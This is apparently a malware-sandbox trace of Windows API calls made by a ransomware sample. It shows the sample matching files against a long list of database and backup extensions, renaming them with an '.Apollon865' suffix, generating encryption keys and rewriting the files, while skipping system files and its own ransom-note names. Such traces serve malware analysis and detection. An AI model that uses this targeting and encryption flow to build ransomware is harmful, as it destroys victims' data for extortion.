	[0051.836] lstrcmpiW (lpString1="p.lnk", lpString2="accdw") returned 1
	[0051.836] lstrlenW (lpString="accft") returned 5
	[0051.836] lstrcmpiW (lpString1="p.lnk", lpString2="accft") returned 1
	[0051.836] lstrlenW (lpString="adb") returned 3
	[0051.836] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0051.837] lstrlenW (lpString="adb") returned 3
	[0051.837] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1
	[0051.837] lstrlenW (lpString="ade") returned 3
	[0051.837] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1
	[0051.837] lstrlenW (lpString="adf") returned 3
	[0051.837] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1
	[0051.837] lstrlenW (lpString="adn") returned 3
	[0051.837] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1
	[0051.837] lstrlenW (lpString="adp") returned 3
	[0051.837] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1
	[0051.837] lstrlenW (lpString="alf") returned 3
	[0051.837] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1
	[0051.837] lstrlenW (lpString="ask") returned 3
	[0051.837] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1
	[0051.837] lstrlenW (lpString="btr") returned 3
	[0051.837] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1
	[0051.837] lstrlenW (lpString="cat") returned 3
	[0051.837] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1
	[0051.837] lstrlenW (lpString="cdb") returned 3
	[0051.837] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1
	[0051.837] lstrlenW (lpString="ckp") returned 3
	[0051.837] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1
	[0051.837] lstrlenW (lpString="cma") returned 3
	[0051.837] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1
	[0051.837] lstrlenW (lpString="cpd") returned 3
	[0051.837] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1
	[0051.837] lstrlenW (lpString="dacpac") returned 6
	[0051.837] lstrcmpiW (lpString1="op.lnk", lpString2="dacpac") returned 1
	[0051.837] lstrlenW (lpString="dad") returned 3
	[0051.837] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1
	[0051.837] lstrlenW (lpString="dadiagrams") returned 10
	[0051.837] lstrcmpiW (lpString1="esktop.lnk", lpString2="dadiagrams") returned 1
	[0051.837] lstrlenW (lpString="daschema") returned 8
	[0051.837] lstrcmpiW (lpString1="ktop.lnk", lpString2="daschema") returned 1
	[0051.838] lstrlenW (lpString="db-journal") returned 10
	[0051.838] lstrcmpiW (lpString1="esktop.lnk", lpString2="db-journal") returned 1
	[0051.838] lstrlenW (lpString="db-shm") returned 6
	[0051.838] lstrcmpiW (lpString1="op.lnk", lpString2="db-shm") returned 1
	[0051.838] lstrlenW (lpString="db-wal") returned 6
	[0051.838] lstrcmpiW (lpString1="op.lnk", lpString2="db-wal") returned 1
	[0051.838] lstrlenW (lpString="dbc") returned 3
	[0051.838] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1
	[0051.838] lstrlenW (lpString="dbs") returned 3
	[0051.838] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1
	[0051.838] lstrlenW (lpString="dbt") returned 3
	[0051.838] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1
	[0051.838] lstrlenW (lpString="dbv") returned 3
	[0051.838] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1
	[0051.838] lstrlenW (lpString="dbx") returned 3
	[0051.838] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1
	[0051.838] lstrlenW (lpString="dcb") returned 3
	[0051.838] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1
	[0051.838] lstrlenW (lpString="dct") returned 3
	[0051.838] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1
	[0051.838] lstrlenW (lpString="dcx") returned 3
	[0051.838] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1
	[0051.838] lstrlenW (lpString="ddl") returned 3
	[0051.838] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1
	[0051.838] lstrlenW (lpString="dlis") returned 4
	[0051.838] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1
	[0051.838] lstrlenW (lpString="dp1") returned 3
	[0051.838] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1
	[0051.838] lstrlenW (lpString="dqy") returned 3
	[0051.838] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1
	[0051.838] lstrlenW (lpString="dsk") returned 3
	[0051.838] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1
	[0051.838] lstrlenW (lpString="dsn") returned 3
	[0051.838] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1
	[0051.839] lstrlenW (lpString="dtsx") returned 4
	[0051.839] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1
	[0051.839] lstrlenW (lpString="dxl") returned 3
	[0051.839] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1
	[0051.839] lstrlenW (lpString="eco") returned 3
	[0051.839] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1
	[0051.839] lstrlenW (lpString="ecx") returned 3
	[0051.839] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1
	[0051.839] lstrlenW (lpString="edb") returned 3
	[0051.839] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1
	[0051.839] lstrlenW (lpString="epim") returned 4
	[0051.839] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1
	[0051.839] lstrlenW (lpString="fcd") returned 3
	[0051.839] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1
	[0051.839] lstrlenW (lpString="fdb") returned 3
	[0051.839] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1
	[0051.839] lstrlenW (lpString="fic") returned 3
	[0051.839] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1
	[0051.839] lstrlenW (lpString="flexolibrary") returned 12
	[0051.839] lstrlenW (lpString="fm5") returned 3
	[0051.839] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1
	[0051.839] lstrlenW (lpString="fmp") returned 3
	[0051.839] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1
	[0051.839] lstrlenW (lpString="fmp12") returned 5
	[0051.839] lstrcmpiW (lpString1="p.lnk", lpString2="fmp12") returned 1
	[0051.839] lstrlenW (lpString="fmpsl") returned 5
	[0051.840] lstrcmpiW (lpString1="p.lnk", lpString2="fmpsl") returned 1
	[0051.840] lstrlenW (lpString="fol") returned 3
	[0051.840] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1
	[0051.840] lstrlenW (lpString="fp3") returned 3
	[0051.840] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1
	[0051.840] lstrlenW (lpString="fp4") returned 3
	[0051.840] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1
	[0051.840] lstrlenW (lpString="fp5") returned 3
	[0051.840] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1
	[0051.840] lstrlenW (lpString="fp7") returned 3
	[0051.840] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1
	[0051.840] lstrlenW (lpString="fpt") returned 3
	[0051.840] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1
	[0051.840] lstrlenW (lpString="frm") returned 3
	[0051.840] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1
	[0051.840] lstrlenW (lpString="gdb") returned 3
	[0051.840] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0051.840] lstrlenW (lpString="gdb") returned 3
	[0051.840] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1
	[0051.840] lstrlenW (lpString="grdb") returned 4
	[0051.840] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1
	[0051.840] lstrlenW (lpString="gwi") returned 3
	[0051.840] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1
	[0051.840] lstrlenW (lpString="hdb") returned 3
	[0051.842] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1
	[0051.842] lstrlenW (lpString="his") returned 3
	[0051.842] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1
	[0051.842] lstrlenW (lpString="ib") returned 2
	[0051.842] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1
	[0051.842] lstrlenW (lpString="idb") returned 3
	[0051.842] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1
	[0051.842] lstrlenW (lpString="ihx") returned 3
	[0051.842] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1
	[0051.842] lstrlenW (lpString="itdb") returned 4
	[0051.842] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1
	[0051.842] lstrlenW (lpString="itw") returned 3
	[0051.842] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1
	[0051.842] lstrlenW (lpString="jet") returned 3
	[0051.842] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1
	[0051.842] lstrlenW (lpString="jtx") returned 3
	[0051.842] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1
	[0051.842] lstrlenW (lpString="kdb") returned 3
	[0051.842] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1
	[0051.842] lstrlenW (lpString="kexi") returned 4
	[0051.842] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1
	[0051.842] lstrlenW (lpString="kexic") returned 5
	[0051.842] lstrcmpiW (lpString1="p.lnk", lpString2="kexic") returned 1
	[0051.843] lstrlenW (lpString="kexis") returned 5
	[0051.843] lstrcmpiW (lpString1="p.lnk", lpString2="kexis") returned 1
	[0051.843] lstrlenW (lpString="lgc") returned 3
	[0051.843] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1
	[0051.843] lstrlenW (lpString="lwx") returned 3
	[0051.843] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1
	[0051.843] lstrlenW (lpString="maf") returned 3
	[0051.843] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1
	[0051.844] lstrlenW (lpString="maq") returned 3
	[0051.844] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1
	[0051.844] lstrlenW (lpString="mar") returned 3
	[0051.844] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1
	[0051.845] lstrlenW (lpString="marshal") returned 7
	[0051.845] lstrcmpiW (lpString1="top.lnk", lpString2="marshal") returned 1
	[0051.845] lstrlenW (lpString="mas") returned 3
	[0051.845] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1
	[0051.845] lstrlenW (lpString="mav") returned 3
	[0051.845] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1
	[0051.845] lstrlenW (lpString="maw") returned 3
	[0051.845] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1
	[0051.845] lstrlenW (lpString="mdbhtml") returned 7
	[0051.845] lstrcmpiW (lpString1="top.lnk", lpString2="mdbhtml") returned 1
	[0051.845] lstrlenW (lpString="mdn") returned 3
	[0051.845] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1
	[0051.845] lstrlenW (lpString="mdt") returned 3
	[0051.845] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1
	[0051.845] lstrlenW (lpString="mfd") returned 3
	[0051.845] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1
	[0051.845] lstrlenW (lpString="mpd") returned 3
	[0051.845] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1
	[0051.845] lstrlenW (lpString="mrg") returned 3
	[0051.845] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1
	[0051.845] lstrlenW (lpString="mud") returned 3
	[0051.845] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1
	[0051.845] lstrlenW (lpString="mwb") returned 3
	[0051.845] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1
	[0051.845] lstrlenW (lpString="myd") returned 3
	[0051.845] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1
	[0051.845] lstrlenW (lpString="ndf") returned 3
	[0051.845] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1
	[0051.845] lstrlenW (lpString="nnt") returned 3
	[0051.845] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1
	[0051.845] lstrlenW (lpString="nrmlib") returned 6
	[0051.845] lstrcmpiW (lpString1="op.lnk", lpString2="nrmlib") returned 1
	[0051.845] lstrlenW (lpString="ns2") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1
	[0051.846] lstrlenW (lpString="ns3") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1
	[0051.846] lstrlenW (lpString="ns4") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1
	[0051.846] lstrlenW (lpString="nsf") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1
	[0051.846] lstrlenW (lpString="nv") returned 2
	[0051.846] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1
	[0051.846] lstrlenW (lpString="nv2") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1
	[0051.846] lstrlenW (lpString="nwdb") returned 4
	[0051.846] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1
	[0051.846] lstrlenW (lpString="nyf") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1
	[0051.846] lstrlenW (lpString="odb") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0051.846] lstrlenW (lpString="odb") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1
	[0051.846] lstrlenW (lpString="oqy") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1
	[0051.846] lstrlenW (lpString="ora") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1
	[0051.846] lstrlenW (lpString="orx") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1
	[0051.846] lstrlenW (lpString="owc") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1
	[0051.846] lstrlenW (lpString="p96") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1
	[0051.846] lstrlenW (lpString="p97") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1
	[0051.846] lstrlenW (lpString="pan") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1
	[0051.846] lstrlenW (lpString="pdb") returned 3
	[0051.846] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1
	[0051.847] lstrlenW (lpString="pdm") returned 3
	[0051.847] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1
	[0051.847] lstrlenW (lpString="pnz") returned 3
	[0051.847] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1
	[0051.847] lstrlenW (lpString="qry") returned 3
	[0051.847] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1
	[0051.847] lstrlenW (lpString="qvd") returned 3
	[0051.847] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1
	[0051.847] lstrlenW (lpString="rbf") returned 3
	[0051.847] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1
	[0051.847] lstrlenW (lpString="rctd") returned 4
	[0051.847] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1
	[0051.847] lstrlenW (lpString="rod") returned 3
	[0051.847] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1
	[0051.847] lstrlenW (lpString="rodx") returned 4
	[0051.847] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1
	[0051.847] lstrlenW (lpString="rpd") returned 3
	[0051.847] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1
	[0051.847] lstrlenW (lpString="rsd") returned 3
	[0051.847] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1
	[0051.847] lstrlenW (lpString="sas7bdat") returned 8
	[0051.847] lstrcmpiW (lpString1="ktop.lnk", lpString2="sas7bdat") returned -1
	[0051.847] lstrlenW (lpString="sbf") returned 3
	[0051.847] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1
	[0051.847] lstrlenW (lpString="scx") returned 3
	[0051.847] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1
	[0051.847] lstrlenW (lpString="sdb") returned 3
	[0051.847] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1
	[0051.847] lstrlenW (lpString="sdc") returned 3
	[0051.847] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1
	[0051.847] lstrlenW (lpString="sdf") returned 3
	[0051.847] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1
	[0051.847] lstrlenW (lpString="sis") returned 3
	[0051.847] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1
	[0051.848] lstrlenW (lpString="spq") returned 3
	[0051.848] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1
	[0051.848] lstrlenW (lpString="te") returned 2
	[0051.848] lstrcmpiW (lpString1="nk", lpString2="te") returned -1
	[0051.848] lstrlenW (lpString="teacher") returned 7
	[0051.848] lstrcmpiW (lpString1="top.lnk", lpString2="teacher") returned 1
	[0051.848] lstrlenW (lpString="tmd") returned 3
	[0051.848] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1
	[0051.848] lstrlenW (lpString="tps") returned 3
	[0051.848] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1
	[0051.848] lstrlenW (lpString="trc") returned 3
	[0051.848] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0051.848] lstrlenW (lpString="trc") returned 3
	[0051.848] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1
	[0051.848] lstrlenW (lpString="trm") returned 3
	[0051.848] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1
	[0051.848] lstrlenW (lpString="udb") returned 3
	[0051.848] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1
	[0051.848] lstrlenW (lpString="udl") returned 3
	[0051.848] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1
	[0051.848] lstrlenW (lpString="usr") returned 3
	[0051.848] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1
	[0051.848] lstrlenW (lpString="v12") returned 3
	[0051.848] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1
	[0051.848] lstrlenW (lpString="vis") returned 3
	[0051.848] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1
	[0051.848] lstrlenW (lpString="vpd") returned 3
	[0051.848] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1
	[0051.848] lstrlenW (lpString="vvv") returned 3
	[0051.848] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1
	[0051.848] lstrlenW (lpString="wdb") returned 3
	[0051.848] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1
	[0051.848] lstrlenW (lpString="wmdb") returned 4
	[0051.849] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1
	[0051.849] lstrlenW (lpString="wrk") returned 3
	[0051.849] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1
	[0051.849] lstrlenW (lpString="xdb") returned 3
	[0051.849] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1
	[0051.849] lstrlenW (lpString="xld") returned 3
	[0051.849] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1
	[0051.849] lstrlenW (lpString="xmlff") returned 5
	[0051.849] lstrcmpiW (lpString1="p.lnk", lpString2="xmlff") returned -1
	[0051.849] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\Links\\Desktop.lnk.Apollon865") returned 45
	[0051.849] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), lpNewFileName="C:\\Users\\Default\\Links\\Desktop.lnk.Apollon865" (normalized: "c:\\users\\default\\links\\desktop.lnk.apollon865"), dwFlags=0x1) returned 1
	[0051.849] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\Desktop.lnk.Apollon865" (normalized: "c:\\users\\default\\links\\desktop.lnk.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0051.850] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=467) returned 1
	[0051.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0051.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0051.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0051.850] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf788) returned 1
	[0051.851] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0051.851] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0051.851] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e0, lpName=0x0) returned 0x118
	[0051.869] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e0) returned 0x100000
	[0051.876] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf788) returned 1
	[0051.877] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0051.877] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0051.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0051.877] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0051.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0051.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0051.877] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0051.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0051.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5afa60
	[0051.877] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0051.877] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0051.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0051.878] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0051.878] CloseHandle (hObject=0x118) returned 1
	[0051.878] CloseHandle (hObject=0xc0) returned 1
	[0051.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0051.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0051.878] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0051.878] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1
	[0051.878] lstrcmpiW (lpString1="Downloads.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.878] lstrcmpiW (lpString1="Downloads.lnk", lpString2="Apollon865.txt.exe") returned 1
	[0051.878] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".") returned 1
	[0051.878] lstrcmpiW (lpString1="Downloads.lnk", lpString2="..") returned 1
	[0051.878] lstrcmpiW (lpString1="Downloads.lnk", lpString2="windows") returned -1
	[0051.878] lstrcmpiW (lpString1="Downloads.lnk", lpString2="bootmgr") returned 1
	[0051.878] lstrcmpiW (lpString1="Downloads.lnk", lpString2="temp") returned -1
	[0051.878] lstrcmpiW (lpString1="Downloads.lnk", lpString2="pagefile.sys") returned -1
	[0051.878] lstrcmpiW (lpString1="Downloads.lnk", lpString2="boot") returned 1
	[0051.878] lstrcmpiW (lpString1="Downloads.lnk", lpString2="ids.txt") returned -1
	[0051.878] lstrcmpiW (lpString1="Downloads.lnk", lpString2="ntuser.dat") returned -1
	[0051.878] lstrcmpiW (lpString1="Downloads.lnk", lpString2="perflogs") returned -1
	[0051.878] lstrcmpiW (lpString1="Downloads.lnk", lpString2="MSBuild") returned -1
	[0051.878] lstrlenW (lpString="Downloads.lnk") returned 13
	[0051.878] lstrlenW (lpString="C:\\Users\\Default\\Links\\Desktop.lnk") returned 34
	[0051.879] lstrcpyW (in: lpString1=0x119e636, lpString2="Downloads.lnk" | out: lpString1="Downloads.lnk") returned="Downloads.lnk"
	[0051.879] lstrlenW (lpString="Downloads.lnk") returned 13
	[0051.879] lstrlenW (lpString="Apollon865") returned 10
	[0051.879] lstrcmpiW (lpString1="nloads.lnk", lpString2="Apollon865") returned 1
	[0051.879] lstrlenW (lpString=".dll") returned 4
	[0051.879] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".dll") returned 1
	[0051.879] lstrlenW (lpString=".lnk") returned 4
	[0051.879] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".lnk") returned 1
	[0051.879] lstrlenW (lpString=".ini") returned 4
	[0051.879] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".ini") returned 1
	[0051.879] lstrlenW (lpString=".sys") returned 4
	[0051.879] lstrcmpiW (lpString1="Downloads.lnk", lpString2=".sys") returned 1
	[0051.879] lstrlenW (lpString="Downloads.lnk") returned 13
	[0051.879] lstrlenW (lpString="bak") returned 3
	[0051.879] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1
	[0051.879] lstrlenW (lpString="ba_") returned 3
	[0051.879] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1
	[0051.879] lstrlenW (lpString="dbb") returned 3
	[0051.879] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1
	[0051.879] lstrlenW (lpString="vmdk") returned 4
	[0051.879] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1
	[0051.879] lstrlenW (lpString="rar") returned 3
	[0051.879] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1
	[0051.879] lstrlenW (lpString="zip") returned 3
	[0051.879] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1
	[0051.879] lstrlenW (lpString="tgz") returned 3
	[0051.879] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1
	[0051.879] lstrlenW (lpString="vbox") returned 4
	[0051.879] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1
	[0051.879] lstrlenW (lpString="vdi") returned 3
	[0051.879] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1
	[0051.879] lstrlenW (lpString="vhd") returned 3
	[0051.879] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1
	[0051.879] lstrlenW (lpString="vhdx") returned 4
	[0051.880] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1
	[0051.880] lstrlenW (lpString="avhd") returned 4
	[0051.880] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1
	[0051.880] lstrlenW (lpString="db") returned 2
	[0051.880] lstrcmpiW (lpString1="nk", lpString2="db") returned 1
	[0051.880] lstrlenW (lpString="db2") returned 3
	[0051.880] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1
	[0051.880] lstrlenW (lpString="db3") returned 3
	[0051.880] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1
	[0051.880] lstrlenW (lpString="dbf") returned 3
	[0051.880] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1
	[0051.880] lstrlenW (lpString="mdf") returned 3
	[0051.880] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1
	[0051.880] lstrlenW (lpString="mdb") returned 3
	[0051.880] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1
	[0051.880] lstrlenW (lpString="sql") returned 3
	[0051.880] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1
	[0051.880] lstrlenW (lpString="sqlite") returned 6
	[0051.880] lstrcmpiW (lpString1="ds.lnk", lpString2="sqlite") returned -1
	[0051.880] lstrlenW (lpString="sqlite3") returned 7
